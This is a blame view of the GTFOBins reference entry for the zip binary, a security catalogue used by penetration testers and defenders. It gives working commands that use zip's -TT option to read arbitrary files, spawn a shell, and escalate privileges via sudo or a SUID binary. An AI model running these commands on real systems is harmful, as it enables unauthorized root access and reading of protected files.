GTFOBins.github.io/_gtfobins/zip.md

25 lines
473 B
Markdown
Raw Normal View History

2018-08-17 17:16:09 +02:00
---
functions:
2021-04-16 14:09:04 +02:00
file-read:
- code: |
LFILE=file-to-read
2021-04-17 21:02:59 +02:00
TF=$(mktemp -u)
zip $TF $LFILE
unzip -p $TF
2018-10-05 19:55:38 +02:00
shell:
2018-08-19 11:26:08 +02:00
- code: |
2018-08-19 12:32:48 +02:00
TF=$(mktemp -u)
zip $TF /etc/hosts -T -TT 'sh #'
rm $TF
2018-10-05 19:55:38 +02:00
sudo:
2018-08-19 11:26:08 +02:00
- code: |
2018-08-19 12:32:48 +02:00
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF
2018-10-05 19:55:38 +02:00
limited-suid:
2018-08-19 11:26:08 +02:00
- code: |
2018-08-19 12:32:48 +02:00
TF=$(mktemp -u)
./zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF
2018-08-17 17:16:09 +02:00
---